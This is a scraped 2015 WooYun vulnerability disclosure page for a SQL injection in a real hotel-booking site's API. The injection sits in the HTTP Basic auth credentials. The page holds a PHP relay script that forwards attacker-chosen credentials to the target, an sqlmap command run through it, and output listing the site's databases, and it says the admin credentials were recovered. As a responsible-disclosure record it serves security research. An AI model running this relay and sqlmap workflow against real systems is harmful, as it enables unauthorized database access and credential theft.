	$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){

		if(re==1){

			$("#collection_num").html(parseInt($("#collection_num").html())+1);

			$(".btn-fav").removeClass("fav-add");

			$(".btn-fav").addClass("fav-cancel");

			$(".btn-fav").unbind();

			$(".btn-fav").click(function(){

					CollectCancel(id,token);

				});

		}else if(re==2){

			alert(_LANGJS.LOGIN_FIRST);

		}else if(re==3){

			alert(_LANGJS.COLLECTION_BUG_DONE);

		}else{

			alert(_LANGJS.FAIL_MANAGE);

		}

	});

}

function CollectCancel(id,token){

	if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){

		$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){

			if(re==1){

				$("#collection_num").html(parseInt($("#collection_num").html())-1);

				$(".btn-fav").removeClass("fav-cancel");

				$(".btn-fav").addClass("fav-add");

				$(".btn-fav").unbind();

				$(".btn-fav").click(function(){

					CollectBug(id,token);

				});

			}else{

				alert(_LANGJS.FAIL_MANAGE);

			}

		});

	}

}

</script>



	<div class="content">

<input type="hidden" id="token" style="display:none" value="" />

		<h2>漏洞概要

						<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">关注数(<span id="attention_num">19</span>)

		 <span id="attend_action">

		 		 <a class="btn" href="javascript:void(0)" onclick="AttendBug(111109)">关注此漏洞</a></span>

		 		 </span></h2>



		<h3>缺陷编号：		<a href="wooyun-2015-0111109">WooYun-2015-111109</a>

			<input id="fbid" type="hidden" value="111109">

					</h3>



		<h3 class='wybug_title'>漏洞标题：		住哪网某站非常奇葩注入点(附中转脚本)  					</h3>



		<h3 class='wybug_corp'>相关厂商：		<a href="http://www.wooyun.org/corps/住哪网">

														住哪网														</a>

		</h3>



		<h3 class='wybug_author'>漏洞作者：		<a href="http://www.wooyun.org/whitehats/BMa">BMa</a><img height="12" width="12" style="vertical-align:-2px;margin-left:2px;" src="http://wooyun.org/images/v.png" alt="认证白帽子" /></h3>

		<h3 class='wybug_date'>提交时间：		2015-04-29 17:28</h3>

				<h3 class='wybug_open_date'>公开时间：		2015-06-13 17:32</h3>

		<h3 class='wybug_type'>漏洞类型：		SQL注射漏洞</h3>



		<h3 class='wybug_level'>危害等级：		高</h3>

				<h3>自评Rank：		20</h3>

				<h3 class='wybug_status'>漏洞状态：

															厂商已经确认

																</h3>



		<h3>漏洞来源：		<a href="http://www.wooyun.org">http://www.wooyun.org</a>，如有疑问或需要帮助请联系 help@wooyun.org</h3>

		<h3>Tags标签：

								无

					

</h3>

		<h3>

		<!-- Baidu Button BEGIN -->

        <div id="share">

        	<div style="float:right; margin-right:100px;font-size:12px">

            <span class="fav-num"><a id="collection_num">4</a>人收藏</span>

			<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav">收藏</a>

<script type="text/javascript">

var token="";

var id="111109";



$(".btn-fav").click(function(){ CollectBug(id,token); });



</script>

			</div>

            <span style="float:left;">分享漏洞：</span>

            <div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="http://bdimg.share.baidu.com/static/images/type-button-5.jpg" />

                <a class="shareCount"></a>

            </div>

        </div>

        <!-- Baidu Button END -->

    	</h3>

		<hr align="center"/>



		<h2>漏洞详情</h2>

		<h3 class="detailTitle">披露状态：</h3>

		<p class="detail" style="padding-bottom:0">

					</p>

		<p class="detail wybug_open_status">

									2015-04-29：	细节已通知厂商并且等待厂商处理中<br/>

									2015-04-29：	厂商已经确认，细节仅向厂商公开<br/>

									2015-05-09：	细节向核心白帽子及相关领域专家公开<br/>

									2015-05-19：	细节向普通白帽子公开<br/>

									2015-05-29：	细节向实习白帽子公开<br/>

									2015-06-13：	细节向公众公开<br/>

								</p>

		<h3 class="detailTitle">简要描述：</h3>



		<p class="detail wybug_description">住哪网某站非常奇葩注入点/附中转脚本<br />

第一次遇到这么奇葩的注入点  乌云上之前貌似没有案例 求雷劈<br />

<br />

</p>



		

						<h3 class="detailTitle">详细说明：</h3>

    <div class='wybug_detail'>

			<p class="detail">站点：open.zhuna.cn<br />

<br />
访问URL：<br />

<br />
http://open.zhuna.cn/g/<br />

<br />
http://open.zhuna.cn/g/api/r_hotel/ <br />

<br />
等/g/目录下的文件都存在basic Authorization认证<br />

<br />
问题参数是basic认证的用户名和密码  存在注入<br />

<br />
见图：<br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/2917154091420338f6a159a0bac218cba4510082.jpg" target="_blank"><img src="../upload/201504/2917154091420338f6a159a0bac218cba4510082.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/291715469fd829793a9193a1dfada9372e262e8b.jpg" target="_blank"><img src="../upload/201504/291715469fd829793a9193a1dfada9372e262e8b.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171552bd4d550a5fb2cb48d0e03210c661822b.jpg" target="_blank"><img src="../upload/201504/29171552bd4d550a5fb2cb48d0e03210c661822b.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
可见确实存在注入，但是这样非常麻烦，写了中转脚本如下：<br />

<br />
</p><fieldset class='fieldset fieldset-code'><legend>code 区域</legend><pre><code>&lt;?php<br />

$host = &#039;open.zhuna.cn&#039;; //主机  <br />

$path = &#039;/g/&#039;; //路径  <br />

$user = $_GET[&quot;username&quot;]; //用户名  <br />

$pass = $_GET[&quot;password&quot;]; //密码  <br />

<br />

  <br />

$authorizationToken = base64_encode(&quot;{$user}:{$pass}&quot;);   <br />

$fp = fsockopen(&#039;tcp://&#039; . $host, 80, $errorNo, $errorMsg, 45);  <br />

 <br />

if (!$fp) {  <br />

    echo &#039;error: &#039;, $errorNo, &#039; &#039;, $errorMsg;  <br />

}  <br />

else {  <br />

    $header  = &quot;GET {$path} HTTP/1.1\r\n&quot;;  <br />

    $header .= &quot;Host: {$host}\r\n&quot;;  <br />

    //$header .= &quot;User-Agent: {$_SERVER[&#039;HTTP_USER_AGENT&#039;]}\r\n&quot;;  <br />

    $header .= &quot;Authorization: Basic {$authorizationToken}\r\n&quot;; //认证  <br />

    $header .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  <br />

    $header .= &quot;Connection: Close\r\n\r\n&quot;;  <br />

          <br />

    fwrite($fp, $header);  <br />

    $return = &#039;&#039;;  <br />

    while (!feof($fp)) {  <br />

        $return .= fgets($fp, 4096);  <br />

    }  <br />

    fclose($fp);  <br />

    echo $return;  <br />

}  <br />

<br />

?&gt;</code></pre></fieldset><p class='detail'><br />

<br />
sqlmap开跑：<br />

<br />
</p><fieldset class='fieldset fieldset-code'><legend>code 区域</legend><pre><code>sqlmap.py -u &quot;http://localhost/basic.php?username=admin&amp;password=&quot; --risk 3 --dbms mssql -p password</code></pre></fieldset><p class='detail'><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171812b82b870da00a974f4d351652214deffc.jpg" target="_blank"><img src="../upload/201504/29171812b82b870da00a974f4d351652214deffc.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171816be51b5eb258826cb2ce46ffd5f00b58b.jpg" target="_blank"><img src="../upload/201504/29171816be51b5eb258826cb2ce46ffd5f00b58b.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171822b4b57ddf6c7b39fd016277a26ea313aa.jpg" target="_blank"><img src="../upload/201504/29171822b4b57ddf6c7b39fd016277a26ea313aa.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/291718284c147fcf36bd15deb181758fcb3894d6.jpg" target="_blank"><img src="../upload/201504/291718284c147fcf36bd15deb181758fcb3894d6.jpg" alt="8.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171832ec14d1217e39694bea9ad58f8edc6944.jpg" target="_blank"><img src="../upload/201504/29171832ec14d1217e39694bea9ad58f8edc6944.jpg" alt="9.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/29171837671007110ca6c07a50254a60465d2089.jpg" target="_blank"><img src="../upload/201504/29171837671007110ca6c07a50254a60465d2089.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br />

<br />
最后得到用户名和密码：<br />

<br />
</p><p class="detail usemasaic"><a href="../upload/201504/291723585f56a8148f7b0eec657a65dd46352286.jpg" target="_blank"><img src="../upload/201504/291723585f56a8148f7b0eec657a65dd46352286.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p>

    </div>

						

			<h3 class="detailTitle">漏洞证明：</h3>

      <div class='wybug_poc'>

			<p class="detail"></p><fieldset class='fieldset fieldset-code'><legend>code 区域</legend><pre><code>web server operating system: Windows<br />

web application technology: Apache 2.2.21, PHP 5.3.10<br />

back-end DBMS: Microsoft SQL Server 2012<br />

current user:    &#039;global_hotel_write&#039;<br />

current database:    &#039;global_hotel&#039;<br />

available databases [8]:<br />

[*] global_hotel<br />

[*] hotel_9tour_cn<br />

[*] master<br />

[*] model<br />

[*] msdb<br />

[*] tempdb<br />

[*] www_zhuna_cn_jipiao<br />

[*] www_zhuna_cn_yufu2</code></pre></fieldset><p class='detail'> </p>

    </div>

									<h3 class="detailTitle">修复方案：</h3>

      <div class='wybug_patch'>

			<p class="detail"> </p>

    </div>

													<h3 class="detailTitle">版权声明：转载请注明来源 <a style="font-weight:normal" href="http://www.wooyun.org/whitehats/BMa" title="BMa">BMa</a>@<a style="font-weight:normal" href="http://www.wooyun.org/bugs/wooyun-2010-0111109" title="住哪网某站非常奇葩注入点(附中转脚本)">乌云</a></h3>

		<hr align="center"/>



		

			<h2 id="bugreply">漏洞回应</h2>

      <div class='bug_result'>

			

				

				

															<h3 class="detailTitle">厂商回应：</h3>

						<p class="detail">危害等级：高</p>

						<p class="detail">漏洞Rank：15 </p>

													<p class="detail">确认时间：2015-04-29 17:30</p>

												<h3 class="detailTitle">厂商回复：</h3>

						<p class="detail">非常感谢您反馈的信息，相关问题已交由技术处理。</p>

					

					<h3 class="detailTitle">最新状态：</h3>



											<p class="detail">暂无</p>

					

				      </div>

					

		

<hr align="center" />

<script type="text/javascript">

var bugid="111109";

var bugRating="-3";

var myRating="";

var ratingCount="0";







function ShowBugRating(k){

	var ratingItems=$(".myrating span");

	$.each(ratingItems,function(i,n){

		var nk=parseInt($(n).attr("rel"));

		if(nk<=k){

			$(n).addClass("on");

		}else{

			$(n).removeClass("on");

		}

	});

	$(".myrating span").hover(

		function(){

			$("#ratingShow").html($(this).attr("data-title"));

		},

		function(){

			$("#ratingShow").html("");

		}

	);

}

$(document).ready(function(){

	if(myRating==""){

		var ratingItems=$(".myrating span");

		$(".myrating span").hover(

			function(){

				$(this).addClass("hover");

				var k=parseInt($(this).attr("rel"));

				$.each(ratingItems,function(i,n){

					var nk=parseInt($(n).attr("rel"));

					if(nk<k) $(n).addClass("on");

					if(nk>k) $(n).removeClass("on");

				});

				$("#ratingShow").html($(this).attr("data-title"));

			},

			function(){

				$(this).removeClass("hover");

				if($("#myRating").val()==""){

					$.each(ratingItems,function(i,n){

						$(n).removeClass("on");

					});

				}

				$("#ratingShow").html("");

			}

		);



		$(".myrating span").click(function(){

			var rating=$(this).attr("rel");

			var k=parseInt($(this).attr("rel"));

			$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){

				//消除操作绑定

				$(".myrating span").unbind();

				re=parseInt(re);

				switch(re){

					case 1:

						$("#ratingShow").html(_LANGJS.RATING_SUCCESS);

						$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);

						$.each(ratingItems,function(i,n){

							var nk=parseInt($(n).attr("rel"));

							if(nk<=k){

								$(n).addClass("on");

							}else{

								$(n).removeClass("on");

							}

						});

						ShowBugRating(rating);

						break;

					case 2:

						$("#ratingShow").html(_LANGJS.LOGIN_FIRST);

						break;

					case 4:

						$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);

						break;

					case 6:

						$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);

						break;

					default:break;

				}

			});

		});

	}else{

		if(ratingCount>2){

			ShowBugRating(bugRating);

		}else{

			ShowBugRating(-3);

		}

	}

});



</script>

<h3 class="detailTitle">漏洞评价：</h3>

<p class="detail">对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值</p>

		<h5 class="rating">

		<div class="ratingText">漏洞评价<span>(共<span id="ratingSpan">0</span>人评价)</span>:</div>

		<div class="myrating">

			<span rel="-2" data-title="信息虚假或者没有任何自己的思考"></span>

			<span rel="-1" data-title="内容不详并且漏洞信息评级及类型明显错误"></span>

			<span rel="0" data-title="还可以，洞主继续努力"></span>

			<span rel="1" data-title="信息完整，过程清晰，有截图有代码有视频有真相"></span>

			<span rel="2" data-title="角度独特思路新颖值得学习"></span>

			<div id="ratingShow">

			登陆后才能进行评分			</div>

		</div>

		</h5>

		<input type="hidden" id="myRating" value="" />



<hr align="center" />

<h2>评价</h2>



<div id="replys" class="replys">

	    <ol class="replylist">

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-04-29 17:34</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/f4ckbaidu">f4ckbaidu</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 普通白帽子  |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:243 漏洞数:32        | 开发真是日了狗了)

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="142930"></span>

        <span class="liketext liketext_min"><span id="likenum_142930">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>mark </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">1#</span>

                        <a title="回复 f4ckbaidu" href="javascript:void(0)" class="replyBtn" onclick="Reply('f4ckbaidu')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-04-29 21:06</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/1c3z">1c3z</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 普通白帽子  |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:297 漏洞数:63        | @)!^)

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="142954"></span>

        <span class="liketext liketext_min"><span id="likenum_142954">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>我想看看有多奇葩 </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">2#</span>

                        <a title="回复 1c3z" href="javascript:void(0)" class="replyBtn" onclick="Reply('1c3z')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-05-03 10:43</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/明月影">明月影</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 路人 |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:12 漏洞数:8        )

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="143295"></span>

        <span class="liketext liketext_min"><span id="likenum_143295">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>没劈。 </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">3#</span>

                        <a title="回复 明月影" href="javascript:void(0)" class="replyBtn" onclick="Reply('明月影')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-06-13 17:59</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/F4K3R">F4K3R</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 普通白帽子  |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:318 漏洞数:34        | 求团队收留。)

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="149978"></span>

        <span class="liketext liketext_min"><span id="likenum_149978">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>不用中转啊。sqlmap有转base64脚本 </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">4#</span>

                        <a title="回复 F4K3R" href="javascript:void(0)" class="replyBtn" onclick="Reply('F4K3R')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-06-13 18:36</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/那年打死一只小强">那年打死一只小强</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 路人 |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:16 漏洞数:6        | 请大牛带我飞)

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="149980"></span>

        <span class="liketext liketext_min"><span id="likenum_149980">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>sqlmap\tamper\base64encode.py </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">5#</span>

                        <a title="回复 那年打死一只小强" href="javascript:void(0)" class="replyBtn" onclick="Reply('那年打死一只小强')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-06-13 18:42</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/BMa">BMa</a> <img height="12" width="12" style="vertical-align:-2px;" src="http://wooyun.org/images/v.png" alt="认证白帽子" />			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 核心白帽子 |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:2014 漏洞数:223        )

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="149981"></span>

        <span class="liketext liketext_min"><span id="likenum_149981">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>@F4K3R  Authorization部分包括 user:pass 两部分，sqlmap只会对pass编码  </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">6#</span>

                        <a title="回复 BMa" href="javascript:void(0)" class="replyBtn" onclick="Reply('BMa')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

                <li class="reply clearfix">

            <div class="reply-content">

                <div class="reply-info">

        <span class="addtime">2015-06-13 21:55</span> |

    		<a target='_blank' href="http://www.wooyun.org/whitehats/1c3z">1c3z</a>			<!-- 增加路人判断显示 @zm 2013-12-13 Begin -->

			( 普通白帽子  |			<!-- 增加路人判断显示 @zm 2013-12-13 End -->

        Rank:297 漏洞数:63        | @)!^)

	

	<div class="likebox">

        <span class="likepre" title="赞！" rel="149993"></span>

        <span class="liketext liketext_min"><span id="likenum_149993">0</span></span>

        <span class="likesuf"></span>

    </div>

                </div><!-- reply-info End -->



                <div class="description">

                    <p>非常感谢您反馈的信息，相关问题已交由技术处理。

然而并没有处理 </p>

                </div>



                <div class="replylist-act">

                		<span class="floor">7#</span>

                        <a title="回复 1c3z" href="javascript:void(0)" class="replyBtn" onclick="Reply('1c3z')">回复此人</a>

                </div>

            </div><!-- reply-content End -->

        </li>

            </ol><!-- replylist End -->

</div><!-- replys End -->



<div id="reply" class="reply">

<a name="comment"></a>

<p class="detail">

登录后才能发表评论，请先 <a href="http://wooyun.org/user.php?action=login"><u>登录</u></a> 。

</p>

<script type="text/javascript">

var masaic = '0';



function CommentLike(id){

	$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){

		re=parseInt(re);

		switch(re){

			case 1:

				$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);

				break;

			case 4:

				alert(_LANGJS.COMMENT_GOOD_DONE);

				break;

			case 6:

				alert(_LANGJS.COMMENT_SELF);

				break;

			default:break;

		}

	});

}

$(document).ready(function(){

	$(".likebox .likepre").click(function(){

            CommentLike($(this).attr("rel"));

        });

});





</script>

<div>

	</div>

	<div id="footer">
        <span class="copyright fleft">
    		Copyright &copy; 2010 - 2015 <a href="wooyun-2015-0111109#">wooyun.org</a>, All Rights Reserved
    		<a href="http://www.miibeian.gov.cn/">京ICP备15041338号-1</a>
    		<!--a href="http://sae.sina.com.cn" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
    	</span>
        <span class="other fright">
                        <a href="http://wooyun.org/impression">行业观点</a>
            · <a href="http://wooyun.org/lawer">法律顾问</a>
            · <a href="http://wooyun.org/contactus">联系我们</a>
            · <a href="http://wooyun.org/help">帮助</a>
            · <a href="http://wooyun.org/about">关于</a>
        </span>
    </div>
	<script type="text/javascript">
	var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
	document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
	</script>
    <script type="text/javascript" id="bdshare_js" data="type=button" ></script>
    <script type="text/javascript" id="bdshell_js"></script>
    <script type="text/javascript">
        document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=" + new Date().getHours();
        
        if (top.location !== self.location) top.location=self.location;
    </script>
</body>
</html>